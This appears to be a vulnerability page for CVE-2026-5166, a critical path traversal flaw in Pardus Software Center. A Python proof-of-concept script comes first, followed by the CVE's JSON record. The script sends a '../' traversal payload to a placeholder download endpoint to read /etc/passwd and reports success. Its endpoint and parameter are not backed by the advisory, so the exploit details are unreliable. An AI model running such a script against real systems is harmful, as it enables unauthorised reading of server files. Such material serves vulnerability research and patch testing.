CVE-2026-5166

import requests # PoC for CVE-2026-5166 Path Traversal in Pardus Software Center # This script demonstrates how an attacker might exploit the path traversal vulnerability. # Note: This is for educational and defensive testing purposes only. target_url = "http://target-ip:port/api/v1/software/download" # Malicious payload using path traversal sequences to access /etc/passwd malicious_payload = { "file": "../../../../../../../../etc/passwd" } try: response = requests.get(target_url, params=malicious_payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Server returned content:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-5166", "sourceIdentifier": "[email protected]", "published": "2026-04-29T16:16:26.673", "lastModified": "2026-05-04T14:16:35.430", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Software Center allows Path Traversal.\n\nThis issue affects Pardus Software Center: before 0.6.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-26-0131", "source": "[email protected]"}]}}